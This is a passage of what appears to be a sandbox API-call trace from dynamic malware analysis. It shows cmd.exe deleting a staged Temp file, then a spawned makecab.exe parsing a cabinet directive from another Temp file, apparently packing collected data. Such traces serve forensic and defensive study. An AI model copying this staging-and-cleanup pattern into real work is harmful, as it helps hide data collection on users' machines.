ftLastAccessTime.dwLowDateTime=0xe3b3b110, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0x158ecd0, ftLastWriteTime.dwHighDateTime=0x1d51ed5, nFileSizeHigh=0x0, nFileSizeLow=0x13b52, dwReserved0=0x0, dwReserved1=0xe, cFileName="1D0E.bin1", cAlternateFileName="")) returned 0 [0151.595] GetLastError () returned 0x12 [0151.595] FindClose (in: hFindFile=0x1f1320 | out: hFindFile=0x1f1320) returned 1 [0151.596] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0151.598] _close (_FileHandle=3) returned 0 [0151.598] GetConsoleTitleW (in: lpConsoleTitle=0x15f990, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0151.598] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0151.598] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0151.598] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0151.598] GetProcessHeap () returned 0x1f0000 [0151.598] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xd0) returned 0x1f15f0 [0151.599] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x1f15f0, Size=0x70) returned 0x1f15f0 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.599] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x1f15f0) returned 0x70 [0151.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x78) returned 0x1f1670 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xd0) returned 0x1f16f0 [0151.599] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x1f16f0, Size=0x70) returned 0x1f16f0 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.599] RtlSizeHeap (HeapHandle=0x1f0000, Flags=0x0, MemoryPointer=0x1f16f0) returned 0x70 [0151.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x6e) returned 0x1f1770 [0151.599] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x15f4f0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x58) returned 0x1f1320 [0151.599] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x15e400 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.599] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x15e6b8, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x15ef10, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x15e6b8*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0151.599] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.599] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x58) returned 0x1f17f0 [0151.599] GetProcessHeap () returned 0x1f0000 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x260) returned 0x1f1850 [0151.600] _wcsicmp (_String1="1D0E.bin1", _String2=".") returned 3 [0151.600] _wcsicmp (_String1="1D0E.bin1", _String2="..") returned 3 [0151.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1")) returned 0x2020 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x218) returned 0x1f1ac0 [0151.600] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1f1ad0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.600] SetErrorMode (uMode=0x0) returned 0x0 [0151.600] SetErrorMode (uMode=0x1) returned 0x0 [0151.600] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", nBufferLength=0x104, lpBuffer=0x15e420, lpFilePart=0x15e410 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", lpFilePart=0x15e410*="1D0E.bin1") returned 0x2e [0151.600] SetErrorMode (uMode=0x0) returned 0x1 [0151.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp")) returned 0x2010 [0151.600] GetProcessHeap () returned 0x1f0000 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x260) returned 0x208bd0 [0151.600] _wcsicmp (_String1="1D0E.bin1", _String2=".") returned 3 [0151.600] _wcsicmp (_String1="1D0E.bin1", _String2="..") returned 3 [0151.600] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1")) returned 0x2020 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x24) returned 0x204790 [0151.600] GetProcessHeap () returned 0x1f0000 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x5a) returned 0x1f1ce0 [0151.600] GetProcessHeap () returned 0x1f0000 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x5a) returned 0x208e40 [0151.600] GetProcessHeap () returned 0x1f0000 [0151.600] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x810) returned 0x208eb0 [0151.600] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", fInfoLevelId=0x0, lpFindFileData=0x208ec4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x208ec4) returned 0x2096d0 [0151.600] GetProcessHeap () returned 0x1f0000 [0151.601] RtlReAllocateHeap (Heap=0x1f0000, Flags=0x0, Ptr=0x204760, Size=0x8) returned 0x20c280 [0151.601] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1")) returned 1 [0151.602] FindNextFileW (in: hFindFile=0x2096d0, lpFindFileData=0x208ec4 | out: lpFindFileData=0x208ec4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3b3b110, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3b3b110, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0x158ecd0, ftLastWriteTime.dwHighDateTime=0x1d51ed5, nFileSizeHigh=0x0, nFileSizeLow=0x13b52, dwReserved0=0x0, dwReserved1=0x0, cFileName="1D0E.bin1", cAlternateFileName="1D0E~1.BIN")) returned 0 [0151.602] GetLastError () returned 0x12 [0151.602] FindClose (in: hFindFile=0x2096d0 | out: hFindFile=0x2096d0) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208eb0 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208e40 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x204790 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1ce0 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x208bd0 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.602] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1ac0 | out: hHeap=0x1f0000) returned 1 [0151.602] GetProcessHeap () returned 0x1f0000 [0151.603] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1850 | out: hHeap=0x1f0000) returned 1 [0151.603] GetProcessHeap () returned 0x1f0000 [0151.603] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f17f0 | out: hHeap=0x1f0000) returned 1 [0151.603] GetProcessHeap () returned 0x1f0000 [0151.603] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1320 | out: hHeap=0x1f0000) returned 1 [0151.603] GetProcessHeap () returned 0x1f0000 [0151.603] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f1770 | out: hHeap=0x1f0000) returned 1 [0151.603] GetProcessHeap () returned 0x1f0000 [0151.603] HeapFree (in: hHeap=0x1f0000, dwFlags=0x0, lpMem=0x1f16f0 | out: hHeap=0x1f0000) returned 1 [0151.603] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.603] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0151.603] _get_osfhandle (_FileHandle=1) returned 0x7 [0151.603] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4abbe194 | out: lpMode=0x4abbe194) returned 1 [0151.603] _get_osfhandle (_FileHandle=0) returned 0x3 [0151.603] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4abbe198 | out: lpMode=0x4abbe198) returned 1 [0151.604] SetConsoleInputExeNameW () returned 0x1 [0151.604] GetConsoleOutputCP () returned 0x1b5 [0151.604] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abcbfe0 | out: lpCPInfo=0x4abcbfe0) returned 1 [0151.604] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0151.604] exit (_Code=0) Process: id = "46" image_name = "makecab.exe" filename = "c:\\windows\\system32\\makecab.exe" page_root = "0x1b1bc000" os_pid = "0x850" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "makecab.exe /F \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\DB32.bin\"" cur_dir = "C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 353 os_tid = 0x83c [0151.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdf860 | out: lpSystemTimeAsFileTime=0xdf860*(dwLowDateTime=0x1816430, dwHighDateTime=0x1d51ed5)) [0151.697] GetCurrentProcessId () returned 0x850 [0151.697] GetCurrentThreadId () returned 0x83c [0151.697] GetTickCount () returned 0x31cc3 [0151.697] QueryPerformanceCounter (in: lpPerformanceCount=0xdf868 | out: lpPerformanceCount=0xdf868*=27622200759) returned 1 [0151.699] GetModuleHandleW (lpModuleName=0x0) returned 0xffe10000 [0151.699] __set_app_type (_Type=0x1) [0151.699] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe290b0) returned 0x0 [0151.699] __getmainargs (in: _Argc=0xffe2c3a8, _Argv=0xffe2c3b8, _Env=0xffe2c3b0, _DoWildCard=0, _StartInfo=0xffe2c3c4 | out: _Argc=0xffe2c3a8, _Argv=0xffe2c3b8, _Env=0xffe2c3b0) returned 0 [0151.699] GetVersion () returned 0x1db10106 [0151.699] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x77040000 [0151.700] GetProcAddress (hModule=0x77040000, lpProcName="HeapSetInformation") returned 0x7705c4a0 [0151.700] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0151.700] setvbuf (in: _File=0x7fefd702ab0, _Buf=0x0, _Mode=4, _Size=0x0 | out: _File=0x7fefd702ab0, _Buf=0x0) returned 0 [0151.700] setvbuf (in: _File=0x7fefd702ae0, _Buf=0x0, _Mode=4, _Size=0x0 | out: _File=0x7fefd702ae0, _Buf=0x0) returned 0 [0151.700] malloc (_Size=0xc48) returned 0x2b5f30 [0151.700] printf (_Format="%s") returned 48 [0151.718] malloc (_Size=0x10) returned 0x2cdfa0 [0151.718] atoi (_Str="1") returned 1 [0151.718] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="Cabinet") returned 7 [0151.718] atoi (_Str="1") returned 1 [0151.718] malloc (_Size=0x38) returned 0x2b6b80 [0151.718] _strcmpi (_Str1="On", _Str2="No") returned 1 [0151.718] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0151.718] _strcmpi (_Str1="On", _Str2="False") returned 9 [0151.718] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0151.718] _strcmpi (_Str1="On", _Str2="On") returned 0 [0151.718] _strcmpi (_Str1="Cabinet", _Str2="CabinetFileCountThreshold") returned -102 [0151.719] atoi (_Str="1") returned 1 [0151.719] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CabinetFileCountThreshold") returned 25 [0151.719] atoi (_Str="1") returned 1 [0151.719] malloc (_Size=0x38) returned 0x2b6c00 [0151.719] _strcmpi (_Str1="Cabinet", _Str2="CabinetNameTemplate") returned -110 [0151.719] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetNameTemplate") returned -8 [0151.719] atoi (_Str="1") returned 1 [0151.719] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CabinetNameTemplate") returned 19 [0151.719] atoi (_Str="1") returned 1 [0151.719] malloc (_Size=0x38) returned 0x2b6c90 [0151.719] _strcmpi (_Str1="Cabinet", _Str2="ChecksumWidth") returned -7 [0151.719] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ChecksumWidth") returned -7 [0151.719] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ChecksumWidth") returned -7 [0151.719] atoi (_Str="1") returned 1 [0151.719] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="ChecksumWidth") returned 13 [0151.719] atoi (_Str="1") returned 1 [0151.719] malloc (_Size=0x38) returned 0x2b6d10 [0151.719] atoi (_Str="8") returned 8 [0151.719] atoi (_Str="1") returned 1 [0151.719] atoi (_Str="8") returned 8 [0151.719] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0151.719] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0151.719] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0151.719] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0151.719] atoi (_Str="1") returned 1 [0151.720] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="ClusterSize") returned 11 [0151.720] atoi (_Str="1") returned 1 [0151.720] malloc (_Size=0x38) returned 0x2b6d90 [0151.720] _strcmpi (_Str1="1.44M", _Str2="360K") returned -2 [0151.720] atol (_Str="362496") returned 362496 [0151.720] atol (_Str="1.44M") returned 1 [0151.720] _strcmpi (_Str1="1.44M", _Str2="720K") returned -6 [0151.720] atol (_Str="730112") returned 730112 [0151.720] atol (_Str="1.44M") returned 1 [0151.720] _strcmpi (_Str1="1.44M", _Str2="1.2M") returned 2 [0151.720] atol (_Str="1213952") returned 1213952 [0151.720] atol (_Str="1.44M") returned 1 [0151.720] _strcmpi (_Str1="1.44M", _Str2="1.25M") returned 2 [0151.720] atol (_Str="1250304") returned 1250304 [0151.720] atol (_Str="1.44M") returned 1 [0151.720] _strcmpi (_Str1="1.44M", _Str2="1.44M") returned 0 [0151.720] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0151.720] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0151.720] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0151.720] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0151.720] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0151.720] atoi (_Str="1") returned 1 [0151.720] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="Compress") returned 8 [0151.720] atoi (_Str="1") returned 1 [0151.720] malloc (_Size=0x38) returned 0x2b6e10 [0151.720] _strcmpi (_Str1="On", _Str2="No") returned 1 [0151.720] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0151.720] _strcmpi (_Str1="On", _Str2="False") returned 9 [0151.720] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0151.720] _strcmpi (_Str1="On", _Str2="On") returned 0 [0151.720] _strcmpi (_Str1="Cabinet", _Str2="CompressedFileExtensionChar") returned -14 [0151.720] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressedFileExtensionChar") returned -14 [0151.720] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressedFileExtensionChar") returned -14 [0151.721] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressedFileExtensionChar") returned -7 [0151.721] _strcmpi (_Str1="ClusterSize", _Str2="CompressedFileExtensionChar") returned -3 [0151.721] _strcmpi (_Str1="Compress", _Str2="CompressedFileExtensionChar") returned -101 [0151.721] atoi (_Str="1") returned 1 [0151.721] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CompressedFileExtensionChar") returned 27 [0151.721] atoi (_Str="1") returned 1 [0151.721] malloc (_Size=0x38) returned 0x2b6e90 [0151.721] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0151.721] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0151.721] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0151.721] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0151.721] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0151.721] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0151.721] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0151.721] atoi (_Str="1") returned 1 [0151.721] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CompressionType") returned 15 [0151.721] atoi (_Str="1") returned 1 [0151.721] malloc (_Size=0x38) returned 0x2b6f20 [0151.721] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0151.721] _strcmpi (_Str1="Cabinet", _Str2="CompressionLevel") returned -14 [0151.721] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionLevel") returned -14 [0151.721] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionLevel") returned -14 [0151.721] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionLevel") returned -7 [0151.721] _strcmpi (_Str1="ClusterSize", _Str2="CompressionLevel") returned -3 [0151.721] _strcmpi (_Str1="Compress", _Str2="CompressionLevel") returned -105 [0151.721] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionLevel") returned -4 [0151.721] _strcmpi (_Str1="CompressionType", _Str2="CompressionLevel") returned 8 [0151.721] atoi (_Str="1") returned 1 [0151.722] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CompressionLevel") returned 16 [0151.722] atoi (_Str="1") returned 1 [0151.722] malloc (_Size=0x38) returned 0x2b5590 [0151.722] atoi (_Str="2") returned 2 [0151.722] atoi (_Str="1") returned 1 [0151.722] atoi (_Str="7") returned 7 [0151.722] _strcmpi (_Str1="Cabinet", _Str2="CompressionMemory") returned -14 [0151.722] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionMemory") returned -14 [0151.722] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionMemory") returned -14 [0151.722] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionMemory") returned -7 [0151.722] _strcmpi (_Str1="ClusterSize", _Str2="CompressionMemory") returned -3 [0151.722] _strcmpi (_Str1="Compress", _Str2="CompressionMemory") returned -105 [0151.722] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionMemory") returned -4 [0151.722] _strcmpi (_Str1="CompressionType", _Str2="CompressionMemory") returned 7 [0151.722] _strcmpi (_Str1="CompressionLevel", _Str2="CompressionMemory") returned -1 [0151.722] atoi (_Str="1") returned 1 [0151.722] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="CompressionMemory") returned 17 [0151.722] atoi (_Str="1") returned 1 [0151.722] malloc (_Size=0x38) returned 0x2b55f0 [0151.722] atoi (_Str="18") returned 18 [0151.722] atoi (_Str="10") returned 10 [0151.722] atoi (_Str="21") returned 21 [0151.722] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0151.722] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0151.723] atoi (_Str="1") returned 1 [0151.723] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="DestinationDir") returned 14 [0151.723] atoi (_Str="1") returned 1 [0151.723] malloc (_Size=0x38) returned 0x2b5670 [0151.723] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="Compress", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectoryTemplate") returned -1 [0151.723] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectoryTemplate") returned -4 [0151.723] atoi (_Str="1") returned 1 [0151.723] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="DiskDirectoryTemplate") returned 21 [0151.723] atoi (_Str="1") returned 1 [0151.723] malloc (_Size=0x38) returned 0x2b56f0 [0151.723] _strcmpi (_Str1="Cabinet", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="ClusterSize", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="Compress", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionType", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionLevel", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="CompressionMemory", _Str2="DiskLabelTemplate") returned -1 [0151.723] _strcmpi (_Str1="DestinationDir", _Str2="DiskLabelTemplate") returned -4 [0151.723] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskLabelTemplate") returned -8 [0151.724] atoi (_Str="1") returned 1 [0151.724] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="DiskLabelTemplate") returned 17 [0151.724] atoi (_Str="1") returned 1 [0151.724] malloc (_Size=0x38) returned 0x2b5770 [0151.724] _strcmpi (_Str1="Cabinet", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="ChecksumWidth", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="ClusterSize", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="Compress", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CompressionType", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CompressionLevel", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="CompressionMemory", _Str2="DoNotCopyFiles") returned -1 [0151.724] _strcmpi (_Str1="DestinationDir", _Str2="DoNotCopyFiles") returned -10 [0151.724] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DoNotCopyFiles") returned -6 [0151.724] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DoNotCopyFiles") returned -6 [0151.724] atoi (_Str="1") returned 1 [0151.724] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="DoNotCopyFiles") returned 14 [0151.724] atoi (_Str="1") returned 1 [0151.724] malloc (_Size=0x38) returned 0x2b57f0 [0151.724] _strcmpi (_Str1="Off", _Str2="No") returned 1 [0151.724] _strcmpi (_Str1="Off", _Str2="Off") returned 0 [0151.724] _strcmpi (_Str1="Cabinet", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="ClusterSize", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="Compress", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderFileCountThreshold") returned -3 [0151.724] _strcmpi (_Str1="CompressionType", _Str2="FolderFileCountThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressionLevel", _Str2="FolderFileCountThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressionMemory", _Str2="FolderFileCountThreshold") returned -3 [0151.725] _strcmpi (_Str1="DestinationDir", _Str2="FolderFileCountThreshold") returned -2 [0151.725] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderFileCountThreshold") returned -2 [0151.725] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderFileCountThreshold") returned -2 [0151.725] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderFileCountThreshold") returned -2 [0151.725] atoi (_Str="1") returned 1 [0151.725] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="FolderFileCountThreshold") returned 24 [0151.725] atoi (_Str="1") returned 1 [0151.725] malloc (_Size=0x38) returned 0x2b5870 [0151.725] _strcmpi (_Str1="Cabinet", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi 